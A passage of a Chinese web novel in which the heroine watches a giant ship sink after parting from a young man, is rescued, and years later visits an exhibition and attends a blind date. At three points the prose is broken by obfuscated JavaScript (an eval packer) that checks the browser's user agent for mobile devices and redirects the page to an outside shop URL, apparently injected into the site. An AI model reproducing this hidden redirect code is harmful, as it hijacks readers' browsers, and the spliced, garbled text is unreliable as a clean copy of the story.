登了船以后,青年把提了一路的大黑布袋子放在座位上,像往常一样给温知和复习着船的驾驶技巧和船上其他设施的使用方法。 她早就熟练了。 把船往外面开了一阵,她忽然开口。“是今天吗?” 青年明明就坐在她旁边,却是隔了一阵才出声。“嗯。” “……噢。” 今天就是那个日子了。他会送她回家去。 温知和想,自己的直觉果然还是很准的,一早上起来的种种迹象,都在向她说今天是不同寻常的一天。 ——也或许这根本与“今天的直觉”无关。 ——因为一切早就注定了。 事实上,自从来了太阳船上、自从他承诺很快就会送她回家,她每天睁开眼都会怀疑这天就是“那个日子”。 每一天都在离家近一点。 每一天都在离他远一点。 温知和握紧了手里的小船方向盘。明明心里有被揪住的感觉,好像有什么东西卡在嗓子里,上不去,下不来,可她还是能这样稳稳地操纵着船前进的方向。 青年说,“学得不错。这段时间还是挺有成效的,在小船上好好照顾自己。” “……噢。” 教她开月亮船原来就是为了今天。从第一天起,他就在为离别做准备。 青年打开了那个黑色的大布袋子。里面装满了水和食物。 他说,“如果一切顺利的话,这些东西应该派不上用场。不过,有备无患。”他顿了顿,“再说你是贪吃鬼,即使不饿,也可以吃一点打发时间。” “……噢。” 他说话时语气依然悠缓,只是比平时低了些。正要再说些什么,他口袋里的手机响了。他接起来。就那么几秒钟,只因为换了个说话对象,青年的声音变得冷硬。 温知和偏过头去看他的侧脸,觉得她好像从来没有真正了解过他。 海上的太阳是从他坐的那个方向照过来的,滑过他的轮廓,给他罩了一层光。他身上穿的是一件黑色T恤,和第一次见面时一样,领口处露出锁骨附近的旧伤痕。 一道。又一道。 他从来不说它们的来历。 这个电话打了很久。久到她一直把月亮船朝着远离太阳船的方向开,有一种会就这样一直开到天涯海角的错觉。 青年用相当冷淡的语调结束了电话。手机屏幕一黑,他偏过脸朝她看过来时,神色已恢复如常。好像取下了面具。 他说,“开得快到边界线了。掉头吧。” “噢。” 伴着一阵引擎声,船在沉默中调转了方向,透明窗外的海浪扑打上来。水迹铺开一片,映过来的阳光也带了痕迹,有点斑驳。 转回去温知和才发现,原来太阳船始终就在不远处。庞大的身影横在海面上,像一个挥之不去的阴影。 她盯着驾驶台,余光里看见青年手上的动作。他删掉了手机里的许多东西,关了手机,然后,取出了sim卡,轻轻一捏,掰断了。 接着,他起身走到月亮船的某个角落里,不知道是按了些什么,墙上的一个暗格打开了。他好像调了些仪表盘,然后,又从里面端出来一个黑盒子,后面还源源不断地连着线。 他把盒子放在操作台旁边。“应该用不上。不过,还是一样,有备无患。” 温知和瞥了一眼,声音闷闷的,“那是什么?” “现在不能打开。” “噢。” 青年回到她旁边,有一阵子没说话。船里只听得见引擎声。太阳船越来越近了,那面高高的、随风招展的旗帜,也越来越清晰。 青年抬起手腕看了表。“可以再绕一圈。” “噢。” 她又把小船往回开。船头推开海浪,白色的水花溅起来,哗啦哗啦的声响好像能填住心里的空洞。可那毕竟是水。填下来,又流走了。最后仍是空无一物,还多了些凉。 青年对她说,“一直不怎么说话,要回家了不高兴么?” “没有。” 大概他能看出她心里有结。但他只是看着,并未伸手来解开。悠缓的语气说起最近的天气,说起船上的餐食,说起今天早上有相当漂亮的朝霞。都是无关紧要的东西,充其量用来填补空气。 温知和听着,一言不发。 小船不过是在平静无风的海面上又走出了一小段距离,尾迹画了半个圆,外面的阳光越来越盛了。 临近正午。 青年再一次抬起手腕看了时间。 然后,他说,“我要回去了。” “……” 温知和从嗓子里发出噢的声音。一次。两次。明明觉得喉头已经用了力,偏偏发出来的没有声音。 于是沉默着把船继续开着。尾迹继续画着,画着,待画完剩下的半个圆,就会回到原点。 他依然坐在她身边,修长的身形遮住了阳光。 温知和终于忍不住开口,“你会回去吗?” “嗯?” “不是说船。我是说……淮市。” 她说话时并没有看他,而是看着落在她手上的那个影子。影子的主人,还会离开这个诡谲污秽的海上世界,回到那座繁华太平的城市……他们共同的故乡吗? 青年的语气很平静。“不会。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就在这个时候,渡口那边来了几个人影。有些面孔说不上陌生,是上次在阿甲村见过的。她不知道青年和那些外国人之间究竟是什么样的联盟,可同上次一样,他们的出现意味着他不会继续留在她身边。 他有他的世界。他有他自己的路。 他最后一次看了表。“待在船里。下午就和之前一样,保持在附近海域活动,不要离太阳船太远,免得招引巡逻兵。但也不要上来。” “然后呢?” “到时候就知道了。” 说话间,他已经打开了月亮船的舱门。动作那么从容,仿佛只是一次寻常的离开。 她看见他从外面重新关上了舱门,看见他拉着扶手踩上了登上太阳船的金属梯,看见他开始和盟友们交谈。 然后,他最后一次转过身来,对她笑了笑,挥了挥手。隔着距离,隔着舱门,那个笑已经很模糊了。 温知和用力收回视线,凝聚起注意力,操纵着月亮船掉头离开。 附近的海域很平静,月亮船又是高度自动化,而且先前也都熟练了。飘一个下午根本不需要耗费什么精力。 但身上有一种细细密密的疼痛,让每分每秒都显得难熬。 透明船外的太阳船仍是那样庞大、辉煌,像一座永远不会倾倒的神殿。那上面有她眷恋的人。可是太远了,已经根本看不见他在哪里。 海波起起伏伏,水面上映出的太阳光终于渐渐暗下去。 黄昏到了。 黄昏结束了。 夜幕四合,周围却并不黑暗。太阳船上的灯火映在海水里,像点亮了一片星穹。那里似乎还是那么热闹。 小小的月亮船在不远处飘着,像毫不起眼的卫星。 温知和伏在操作台上。从中午开始就没吃东西,可是,也没觉得饿,身体空落落的,好像什么感知也没有了。 她望着太阳船,一分钟,又一分钟,不知怎么的忽然觉得有一股寒意。 她起身走到透明窗前,拉近了距离,趴在窗户上往那边看。 满船灯火辉煌。 ——可是,外面没有一个人影。 甲板上、走廊上,到处都空空荡荡的。那么多人都去哪里了?难道他们在举行某种室内宴会?太远了,听不见那边的声音,猜不透那边的状况。 就在她注视下,那片无与伦比的辉煌开始下沉。船上的灯火与映在海里的灯火慢慢重叠、重叠、越来越近,仿佛不断融化在水里。 ——庞大无比的太阳船在沉没。 43. 第四十三章 温知和一下子想起青年还在那艘船上,本能地慌张起来,想把月亮船开过去找他在哪里。 几步回到驾驶台前,却发觉所有的操作都失灵了。按键上的光全灭了,方向盘不管怎么转,月亮船都是一动不动。 透明窗外,沉没中的太阳船正在远离,那片灿烂灯火在视野中越变越小。像一片逐渐飘走的叶子。 温知和用力拍打着操作台,砰砰砰的声响划过寂寂的空气,小船外的海浪声微不可闻。 她立马抱过青年从暗格里抱出来的那个黑盒子。它竟然要密码。他的密码她只知道一个。她下意识地输了那个平板电脑的解锁密码。 盒子开了。 里面是一台海船无线电话。 盒壁上还贴着一张小纸条,上面是青年的笔迹,写着——马来西亚官方海上救援的无线电频道。 她愣了一下。 这只和让她自己求生有关,无助于她去找他。 月亮船为什么会突然在这个时候失灵?是算好的吗? 她想起它在太阳船上不过是个游乐项目,能量供给也许本就不充足,只够半天使用。 她想起青年在抱出装着无线电话的盒子前,在暗格里操作过些什么。也许他那时做了手脚。可现在暗格早就关上了,她在那附近敲敲打打,根本找不到打开暗格的方式。 温知和再次奔到透明窗前,整个人几乎都贴在上面,用力朝着太阳船看。 不久前还那么不可一世的太阳船在海面上已经小得只剩下一个角。漆黑的海水里,有些沉没下去的灯火尚未熄灭,闪烁、摇曳,一团团,一簇簇,如同星穹埋在海下。 像一场盛大的悲剧。 也或许是一次彻彻底底的清洗。那艘船,并不是什么值得向往的地方。它的富丽堂皇是剥削、罪恶与恐怖堆叠出的空中楼阁。 她并不了解它的故事,却做了它落幕时唯一的旁观者。 船上的人都沉进了海里吗? 在船开始沉没之前,船上就已经没有活动迹象了。他们会不会在那之前就已经消失了呢? 一切都模糊不清。 温知和觉得脑袋一阵一阵的抽痛起来。蹲在地上,全身发冷。所有的一切在同一时间涌上了脑海,不分时间先后,也不讲究逻辑。 ——“当太阳从大海深处升起……” ——“叽和老师!早啊。” ——“但粮食,粮食很珍贵,你得用自己的劳动去换,懂吗?” ——杂物室里的钢琴声。 ——“一起……回我们的故乡吧。” ——“我还有点事,不能陪你了。” ——歇于栏杆的蝴蝶。抱着匣子的侏儒男人。 ——“温知和。十九岁。中国来的义工,七月二日从淮市出发抵达吉隆坡。” ——“我爱你,也是到死为止吧。” ——“忘了也没关系。” 她觉得身体越来越胀,像一个气球,在短时间内被灌入了太多沸腾的水。脑海越来越混沌,脑海中的那些人、事、物,好像也都隔了一层。 她蓦地抬眼,发觉周围的海域一片漆黑。 什么都没有了。 什么都不剩下。 大海茫茫,繁星满天。 那艘不似人间的怪船……真的存在过吗? 她转头去看驾驶台。 月亮船上的灯是什么时候熄灭的?里面黑乎乎的。昏暗的星光从外面洒进来,让大大小小的一切吐出了长长的、扭曲的影子。 她好像做了一场怪梦。一合眼,不知是晕了过去,还是睡了过去,短暂地失去了知觉。 半夜里,又迷迷糊糊地醒来。数月的海上生活,好像的确养出了一种细腻的敏感。海浪正在发生微妙的变化,有大船正在靠近。 趴在窗下的温知和虚弱地睁开眼睛。 那是一艘救援船。灯火通明,最前面挂着马来西亚的国旗。它无疑是来自陆地上的救援力量。 ——来自那个许久未见的、现实的、外面的世界。 温知和合上眼睛,觉得很累很累。 那艘船靠近了。 再后来的一切便都很模糊。有仓促的脚步声,有凌乱的人声,夹杂着马来语和英语,有通讯设备的滴滴声响。 他们照亮她的脸,查看她的状况。又把她抬起来,放上了担架。一幕一幕,好像电影的结尾,一张张快照。 微冷的海风扑在脸上。 她仿佛是从小小的废墟里被搜救出去,周围有数不清的人。灯光越来越明亮,人声越来越嘈杂。 她好像到了船上、到了病房、又到了另一个病房。转来转去,什么都看不清,一切都不过是流转的光影。 直到某一刻。 那么多庞杂混乱的声音、画面里,出现了最熟悉的一抹身影。 “知和……” 全身上下忽然一暖。那是世界上最熟悉的怀抱。 她一下子,就好像回到了现实里,无数的迷茫和痛楚变成眼泪,涌了出去。 “妈妈……” - 辗转于各大医院,确认身体上除了几近痊愈的小腿上的虫咬和胳膊上的玻璃划痕外,没有任何别的损伤之后,温知和依然接受了很长时间的心理治疗。 长时间被禁锢在海上,生命安全时常得不到保障,总是担惊受怕,忽然回到岸上的世界里,一时间几乎无法适应。 她不习惯大地的平稳。因为海船是摇晃的。 她不习惯城市里车水马龙、霓虹灯闪的繁杂景象。因为大海是茫茫无际的。 她甚至不习惯周围每一个人说话自己都能听得懂的状况,每分每秒,信息如洪流般涌入大脑,几乎就要超负荷。因为已经习惯了被语言隔绝、孤立的异乡感。 仿佛灵魂还有一半埋在海里没有跟出来,很长时间里,她对周围事物的反应总是慢半拍。 父母带她去办了为期一年的休学手续,像对待瓷器一样小心地照顾她。讲话轻声细语,每天变着花样做好吃的,饭后还到公园里去散步,家里养的那只萨摩耶会摇着尾巴绕着她的脚跑来跑去。 最初的几周里,家里时不时会有访客。大都是与马来西亚相关的调查人员,向她询问那个奇异海上世界的种种状况。 那么大的一个海上势力,一朝倾覆,按理说动荡不小。但官方层面似乎把事情压下去了,对外,只含糊地说有一艘庞大的远洋海轮意外沉没,与此同时,有不少中型渔船近日纷纷回到了岸上。 关于太阳船的来历、组织架构、行事记录和最终结局,除了利益最相关的政治高层,外界根本一无所知。 而那些调查人员来到温家,与其说是为了搜集关于太阳船的信息,倒更像是手里拿着答案,在探查温知和究竟知道多少秘密。 她几乎一无所知。 在船上的时候,她有意无意的小小“调查”全被那个不知名的青年挡住了。他像是在她身上罩了一层无知之网,蒙住了她的眼睛,带她走过曲曲折折的沼泽、泥潭,不仅一路送她到了终点,还确保了她登岸以后依然安全。 她的无知使调查员最终将她定性为无辜的受害路人,没有接触过核心的秘密,也并不危险。最后上门安抚几次之后,他们便再也没有来过。 上门的访客里,曾经也有几个记者。十九岁的女孩失踪数月,据说与神秘组织有关——相当吊人胃口的社会新闻。尽管温家父母每一次都会把看热闹的记者轰出去,但他们依然凭着想象与编造写成了几篇通稿。 然而那些通稿从未登报。也许是因为事情涉及他国内政,通稿到了审核层,还是被压下去了。 就这样,访客渐渐没了踪影。如同雪地上留下的脚印,在大雪融化后也就跟着消失了。生活恢复到无人惊扰的平静。 没有对沉船的公开调查报告。 也没有引人注目的新闻报道。 无论是翻阅报纸,还是查找网络,那几个月的所见所闻、那个庞大古怪的摇晃的世界,都没有留下半点真实痕迹。 一个巨大的秘密被一只巨手抹平了,除了一点点记忆的灰尘,别的什么也不剩。 最后一个马来西亚调查员走之前,留下的最后一句话是,“好好休息吧,小女孩。就当什么也没有发生过。” 家人朋友们也都在引导她慢慢回到生活的正轨上。 她开始适应大地的平稳,适应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你知道他叫什么名字吗?” “……他只是、只是没有说过。” “你知道他是从哪里来的吗?” “他是淮市人。” “因为你是淮市人吧。你知道,我们在心里构建虚拟形象的时候,总是要从自己的生活取材的……” 仿佛一股火焰从心里烧起来,温知和蓦地站起,搬起椅子便砸在了所谓医生的桌子上。 哗啦啦。 刹那间,椅子碎了,桌子碎了,连空气里的阳光也碎了。周围全成了玻璃碎片,漂浮着,成千上万的切面上闪着光。 是闪电的光。 暴风雨之夜,房间玻璃碎了,锋利的边缘划过她的手臂,留下伤口。 她捂着流血的伤口往外跑,冒着风,冒着雨,整艘船一直在晃。 忽然有人叫她。 那是在甲板上,一个修长的身影倚着栏杆,背着光对她笑。风停了,雨停了,世界变成一片夕阳,他左耳下的那抹赤红色熠熠生辉。 她朝他走过去。 很想笑。 又很想哭。 一步,两步,她站在他面前,抬头看清了他的脸。 就是那张脸。 轮廓线条漂亮得像有一层光,眉宇清俊,瞳色很深,里面隐隐藏着悠缓的笑意。 她伸手去碰,很小心。 ——可即使如此,在碰到那张脸之前,梦也还是醒了。 原来这不过是一个梦。没有心理医生,也没有暴风雨中的船。没有甲板上的那个人。 她躺在自己家的卧室里,床铺柔软,清晨的阳光从外面洒进来,几只鸽子飞过,发出咕咕咕的叫声。 伸出去的手,终点只能触摸到枕头。 温知和想,她见过那个人没错。他还说过爱她,不止一次。 可是—— 他送的红色耳钉,她没有收。 他送的相机,在她晕倒的时候摔坏了。 孩子们画他的那些画,一直收存在大熊星座号上,如今更是不知道在什么地方。 连身上的那些疤痕都已经痊愈了,了无痕迹。 心里是满的,手里却是空的。那些与他有关的一切……什么都没有留下来。 44. 第四十四章 淮市美术馆。 一场以“黄昏·印象”为主题的画展今天正式开场。正值周末,看展的人很多,有的是为瞻仰知名画家的作品而专程赶来,有的不过是市民散步路过这里,顺道进来看看热闹。 人群大多聚集在最知名的几幅画作附近。角落里,偶尔倒是会有点冷清。 温知和就站在这样的一个角落里。 她穿了一身轻便的运动装,头上还戴着鸭舌帽,妆是一点也没画。怎么看都像学生的模样。 她定定地注视着那幅画,仿佛周围人来人往,对她全无影响。 客观地说,那只是一幅平平无奇的画。构图、光影、色调,都算不得上乘,对一般人恐怕没什么吸引力。 但,它画的是海上的黄昏。 ——巨大木船推开波浪,仿佛正朝着画面外驶来。夕阳斜长,海面泛着陈年老酒一般的金红色。 她不自觉地伸出手,和画作隔着半米远,触向甲板的位置。指尖向下,勾勒出一个人形的轮廓。 “你好,是对这幅画感兴趣吗?”一旁的画展志愿者见她一个人在这幅画前站了半个多小时,很热心地过来做介绍,一会儿指指画作,一会儿指指挂在画作下方的信息牌,“这是淮市美院今年的毕业画作哦,画师还很年轻,据说来自她某个下午睡午觉时候的一场梦……” 温知和的思绪被打断,回到了现实世界里。她滴水不漏地应付着好心人的热情,那些信息倒是没往耳朵里去。 再一会儿,有别的参观者要找纪念品商店,引开了画展志愿者的注意力。角落里又只剩下温知和一个人。 她又盯着画看了几秒。但,已经完全找不到刚才那种状态。展厅里实在很吵,人们走来走去,甚至有旅游团进来了,导游的声音抬得很高,做着极不专业的讲解。 温知和转身,穿过拥挤的人群,离开了美术馆。 今天有个好天气。明媚的阳光透过梧桐树叶子照下来,在地上落下斑驳光影。有一个老师带着一群孩子坐在那树荫底下,正在画水彩笔画。 淮市美术馆外形设计独特,馆外的绿化做得也漂亮,几乎像个小公园,来这里活动的少儿绘画班并不罕见。 孩子们画着,笑着。 温知和远远地看了一眼。只这么一下,又有回忆朦胧浮上心头。 可是那些事都已经…… 兜里的手机忽然响了。温知和把它掏出来,屏幕上显示的来电人让她不自觉地咳了一声。 她完全忘记了。 电话一接通,那边的声音倒是很平静,“知和,你没去吗?” 温知和低头看着地上自己的影子,双脚一下踮起、一下回落,“我临时有点不舒服……咳咳……万一是感冒了,也不好传染别人……” “没关系,反正这次这个我看也一般。那就下一个吧。” 不等她回应,那边已经把电话挂了。 下一秒,又有电话打进来。这次是妈妈。 温妈妈那边带着好笑,“听你爸说,大姨又让你去相亲了?” “哎——”温知和吐出一口气,“我不小心忘记时间了。” 这个季节,室外已经比室内热些了,她随手拉下了身上这件运动服的拉链,透透气。原本是打算到公园跑完今天的运动量,顺路就去完成一下大姨的任务。结果路过美术馆,进来看了一眼,完全就耽搁了。 也挺对不起那位相亲对象的。 希望对方本身就是个坏人。这样的话,她就不用太愧疚了。 温妈妈说,“不想去的话,不去就好了。你大姨就是最近退休,闲着没事,成天给这个那个扯红线。也没看见有什么好成果。” 温知和道,“没关系,就当陪她玩嘛。吃几顿饭而已。” 她走到树荫底下,抬头看着天。天空很蓝,流云很淡。时间已经不早了,很快就会是黄昏。那时将会有夕阳日照,万物的影子在地上拖得很长很长。 ——巨大木船推开波浪,仿佛正朝着画面外驶来。夕阳斜长,海面泛着陈年老酒一般的金红色。 她又想起那幅画。 它不过是一副普通的画。可那些景象唤起了很多东西。 温妈妈还在电话另一边说话,“好呀,就当吃几顿饭就好了。知和啊,妈妈要跟你说清楚,这种事我们不急的。你自己也别急啊。年纪还小呢,慢慢来。” “我知道呀。” “那边的饭没赶上,你晚上吃什么呢?我们今天不在家呀。” 温知和张口就想说外卖,话到嘴边,咽了下去,“我自己做一点就好了。” “用火的时候注意安全啊。” 温妈妈又反复叮嘱几句,除了厨房用火,还有给冬哈添粮的事。 电话挂了。 温知和把手机屏幕锁了,又开。 她的屏保是一片蔚蓝色的大海。就只有海水,别的什么也没有。没有地理特征、没有生物踪迹,它可以代表海里的任何一个地方。 ——任何一个地方都足以让她有心脏刺痛的感觉。 可是…… 她看了一眼屏幕上显示的时间。 二零二三年,四月十六号。下午五点十三分。 距离那场蜃楼一般光怪陆离的海上往事……已经有六年了。 - 六年的时间足够消磨很多事。 那些置身陌生之地的恐惧、不安,简单粗糙的饮食和住宿条件,日复一日的海风乱吹……一切与当时的主观情绪有关的东西,都渐渐褪色了。 只剩下对人和事的记忆。 再然后,记忆也开始模糊。她每年都会在日记里回忆当时究竟发生过什么事,可每一年的记录对比下来,总是不断出现偏差。 教室里学画画的孩子究竟是十三个,还是十五个? 大熊星座号上的旗帜,究竟是红色,还是灰色? 仿佛一幅流沙画上的各种细节逐渐流走、消散,先是远景褪色变暗,接着,近处景物的轮廓也一点点模糊起来,颜色掉了,线条乱了,到最后,只剩空白的画板上徒留几抹带了颜色的痕迹,隐约还能让人推敲从前的画上曾有过什么。 她记得最多的还是那个人。 他侧脸的剪影很漂亮。总是带着漫不经心的神色。说话时的句尾语调微微上扬,有一种很悠缓的姿态。 ……他会在哪里呢? 星穹般的巨船逐渐沉没的时候,他在想什么?那是一场意外,还是……某种不为人知的计划? 沉下去的时候……海水会很冷吗? 她不愿意去猜后来发生了什么,拒绝细想那个最鲜明的可能性。她只觉得,大海,从此有了另一种意义。每次看到大海都会有些出神。 温知和在厨房下饺子的时候,手机又亮了起来。屏保上的蔚蓝海水里,跳出一条微信消息。 措辞相当简洁,来自她最好的朋友。 俞则:“吃。” 温知和给锅盖上盖子,倚着墙,单手打字回了消息。“已经在煮饺子了。” 对面沉默一阵。 俞则:“……” 俞则:“吃!” 后面还附带了一张卡通兔子表情包,大眼睛亮晶晶的,令人无法拒绝。 温知和也回了个表情包。火柴小人做鞠躬邀请状,配着文字,“您请。” 那边没有再回复了。这一来一去的对话简单过头,其中深意只有她们两个自己有默契能看懂。 俞则的第一个“吃”字,指的是“吃饭!出来吃饭!” 温知和回复自己在煮饺子,指的是厨房已经开火了,下锅的粮食不能浪费,因此自己不能出去吃饭。 俞则沉默思索一阵,回过来的第二个带感叹号的“吃”字,指的是,“你的饺子,我要吃!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187751|147201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是温知和回了个表情包,意为:“来吧。” 她关了屏幕,把手机放在一旁,从冰箱里拿出一袋饺子,又往锅里多下了几个。因不是自己一个人吃饭,饺子煮完还弄了点简单的蔬菜汤。 厨房里冒着白汽,全是食物香。一个雪团子晃着尾巴从外面溜进来,绕着温知和的小腿打转。她拍拍冬哈的头,给它拿了鸡胸肉,切碎了放在碗里。 冬哈把脸埋在碗里大快朵颐的时候,外面门铃也响了。从猫眼可以看到是个长相很清秀的女孩子,表情十分乖巧。 温知和开了门。 那女孩子十分礼貌地问,“请问阿姨和叔叔在家吗?” 温知和道,“不在。” 很好,没有长辈。 乖巧和礼貌一下子就没了,俞则露出真面目,整个人瘫下来挂在温知和胳膊上,脸上透着生无可恋的社畜表情,“周末啊,我加了一天的班!快给我把吃的端上来……我要死了。我真的,要死了。” 温知和见怪不怪,拖着人往里走,顺手关上了门。“饺子是鲜虾的。家里没什么菜,汤就做的白菜豆腐汤。” “好香啊已经闻到了……自从学会了做饭你就是我的贤妻。” 大碗小碗端上餐桌的时候,差不多是七点。夕阳日暮,金红色的光照在桌子上,恰好够用,不必开灯。 简单的一顿饭,简单的一个晚上。两个人坐在一起,一面吃,一面闲聊。家里的萨摩耶自己在沙发那边玩。 俞则道,“是我的错觉吗?怎么感觉冬哈最近深沉了不少?” “它的确心情不是很好。” “你对它做了什么?” “……念我写的论文。” “你为什么要这样折磨一只狗?” “我也很想问我导师这个问题……” 温知和今年二十五岁,本科时休了一年学,于是现在研二,是一只论文狗。这学期,毕业论文到了中期检查阶段,做她导师的洪老太太天天追着她问进度。 每天两千字已经是她的极限,再多就会有水分。写了初稿,她总要念一遍,然后思忖答辩现场老师们可能会问什么问题,为了排练,经常对着冬哈讲个不停。 狗狗有点抑郁了。 温知和闷闷地塞了一只饺子进嘴里。 俞则也闷闷地塞了一只饺子进嘴里。 温知和道,“我写论文,你打工。” 俞则接话,“我们都有光明的未来。” 温知和长叹一口气。黄昏渐散了,屋里一直没开灯,这会儿光线已经有点昏暗。她偏头朝窗外看出去。 她家住在三十三楼,客厅做的是大落地窗,视野相当开阔。整座城市灯火渐明,都在底下,一览无余。 温知和手机接到微信消息再次亮起的时候,俞则忽然想起什么。“对了,今天早上刘琳琳在企鹅上找我,说下周六晚上一群初中同学准备聚一聚,问要不要去。你去吗?你去我才去。” 温知和拿起手机,分神回答,“去呗。” “行,那我现在跟她说。” 温知和那条微信消息是大姨发来的。下一次相亲局时间定了,也是在下周六。不过,是中午。时间能错开。 她很无所谓,给大姨回了一个好的。 那边的俞则忙着用手机发着企鹅消息,这边的温知和碗里的饺子已经吃完了。她再次偏头望向窗外,渐渐地,有点出神。 其实也没有想什么。大脑有点放空。 这些年里,很多家人、朋友都说她越来越随和,好像做什么事都无所谓。 跟谁吃饭都可以。 去哪里旅行也没关系。 哪怕是在学校里写论文,导师急得火烧眉毛,她也依然不慌不忙,按着自己的节奏走。 也许…… 也许失去一些特别重要的东西之后,其他的事情……就会显得越来越无关紧要。 45. 第四十五章 温知和的大姨退休前是一家中型银行的副行长,是个难搞的人物,心思比蜂窝煤上的坑还多,做起事来很是讲究。 以相亲为例,温知和几乎每次都能在见面前,单从吃饭的地点就推断出大姨对那边的看法。 要是选在大型商场里那种不容易出错的全国连锁餐厅,说明对方各方面都很均衡,没什么明显的短处,但也没有特别的亮点,大姨的态度很寻常。 要是选了个以奢华闻名的高档餐厅,说明对方什么都好,就是经济条件欠佳,大姨有意想看看对方会是什么表现。 要是选在东湖景区的园林里,说明对方经济实力超群,但文化水平在大姨看来还有点不理想——指大学念的不是最出名的那几所学校,或者读的是工科。所以想在最有江南风韵的地方,看看对方的礼仪素养。 至于温知和本人,她根本无所谓。她只想吃饭。 这次的饭局选在一家只有本地人知道的家常菜馆子。 这很少见,说明大姨对方方面面都十分满意,要不是温知和不是她本人的女儿,她话语权不高,几乎都要拍板了。 午饭约在十一点半。馆子离家不远,温知和散着步走过去,到的时候才十一点二十,刚进大厅就被人一把抓住了手。 是大姨。 要放在电影里,这位就是活脱脱的喜剧人物。五月份的天气,还穿了一件小貂皮外套,头发烫成了精致的羊毛卷,脸上带着名牌墨镜。一根涂着朱红蔻丹的手指竖在嘴边,很装模作样的。 馆子大厅里有一面巨大的镂空屏风,大姨强行拖着温知和到它后面去。隔着屏风上的一条条缝,能窥见走进来的人。 大姨往沙发上一坐,身体立马挺直,往左歪了歪,又往右歪了歪,不断调整视线角度,好找到视野最清晰的位置。 她这么忙着的时候,一旁的温知和嗅了嗅。这家馆子做的菜的确是一绝,空气里弥散着食物香气,一点不油腻,很清新。 大姨道,“今天打扮还行。” 温知和低头看了看自己。T恤,牛仔裤,一身都是出门时随便拿起来换的。头发是路上用手指梳的,妆是一点也没有的。 吃饭嘛,方便最重要。 大姨夸赞道,“这风格好。得让对面知道我们有多随意,根本不看重他。” 温知和诚实道,“只是比较懒而已。” “这都是战术你知道吧,”大姨根本没听她说什么,拉着她的手,叨个不停,“因地制宜,看人下菜。有的人呢,得捧,等他得意忘形了,我们才好看看到底是什么妖魔鬼怪。有的人呢,像这次这个,就得端着,隔一段距离,好好过上几招……” 温知和打了个呵欠。 大姨说,“你还记得他叫什么吧?” “忘了。” “人家叫马修成,记住了吗?马、修、成!三十一岁,德企的高级软件工程师,收入高,人脉广,假期还长。因为生活一直幸福,所以性格也很好。对了,当年读书的时候也很优秀,本硕都是美国名校……” 噼里啪啦一长串,温知和只记了个名字。 馆子的门又开了,屏风那边传来脚步声,缝隙间隐约可以见到来人的身影。也是长辈带着晚辈的组合。来的阿姨是中等身材,五十多岁。旁边的年轻人穿了一身运动装,还挺休闲。 他们走的很快,没看清脸。 大姨朝二人离去的方向伸长了脖子望着,又拿出手机看了看时间。“十一点二十七。我们十分钟后上去。” “噢。” “总之呢,这个孩子的硬件条件相当不错了。我看过他的照片,长得也还算周正。唯一可惜的……”大姨长叹一口气,摇摇头,“他是单眼皮。” “嗯。” “不过人都不是完美的嘛,虽然……” “是啊。” 大姨越说越上心,把男嘉宾的各方面条件品了又品,反复分析。温知和在旁边走神,凭着本能在大姨说话的间隙偶尔应上一两声,当作在场证据。 白蹭饭嘛。 这不过是一点小小的代价。划算。 起身出发前,大姨很郑重地叮嘱一句,“这是一场硬仗。严肃起来!” - 会面的地点是在二楼包厢。地方不大,却很典雅,窗玻璃外恰好是一片梧桐绿意,斑斑点点的阳光洒进来。 温知和跟着大姨进来,里面的两个人便都站起了身。 先是一番简单的互相介绍。 相亲对象名叫马修成,这是大姨先前说过的。他带着一副金丝眼镜,看上去文质彬彬的,说起话来也很礼貌。的确是长辈们最喜欢的类型。 他向温知和说,“你好,知和。” “你好。” 而后马修成便移开了视线,将注意力放在仍在说话的两位长辈身上。茶来的时候,还起身给大家倒茶。 他那边的那位阿姨也姓马,是他姑妈。 马姑妈和温知和的大姨都是笑眯眯的,你一句,我一句,拐弯抹角地说自家孩子好,顺便不着痕迹地打听对方的事。 马修成偶尔插上一两句,要么就是“谢谢”,要么就是“好厉害啊”,性质上只属于捧场,多的一句不说、一句不问。 温知和就低头喝茶。除非有人明确把话头递给她,否则绝不开口。 开始上菜了。 明明只有四个人,菜却摆了一桌子。各色风味,热气腾腾。温知和筷子在手,埋头吃菜,只当旁边的聊天声是背景板。 两位长辈的话题一绕、一绕,不知不觉到了读书时代上面。先是马姑妈说起马修成那会儿数学成绩出色得很,以前还拿过市里的竞赛第一名,连照片都挂在学校门口。 马姑妈说得有三分傲色,马修成自己倒有点尴尬。太古早的事迹了。 大姨特别捧场,“读书这么厉害啊!果然,优秀的孩子都是从小就优秀。读的哪个学校啊?” 马姑妈道,“一中。” 大姨打探着问,“噢,哪个一中啊?” 淮市就一个“一中”,不过,分了初高中部。在初中部,一中在全市是教学实力断层的好学校;高中部虽然不差,却有几所私立高中质量更佳,因此在家长眼里便逊色不少。 明明饭局里的两个小辈毕业也挺多年了,可家长们在义务教育阶段对于学校好坏的斤斤计较、对彼此之间学校排名的相互攀比,居然还是一点也没少。 马姑妈连忙就强调了一句,“是初中!修成初中还在国内,高中就出国了。” 大姨一拍桌子,“哎呀,那巧得很啊!” 埋头吃饭的温知和忽然被拍了肩膀,茫然抬起头来。 大姨道,“知和初中也是在一中念的呢!这么看来你们还是校友啊。” “……噢。” 温知和咽下嘴里的甜点,出于社交礼貌对那位“学长”简短一笑。对方也笑了笑。当事人都没什么,最来兴趣的还是两位阿姨。 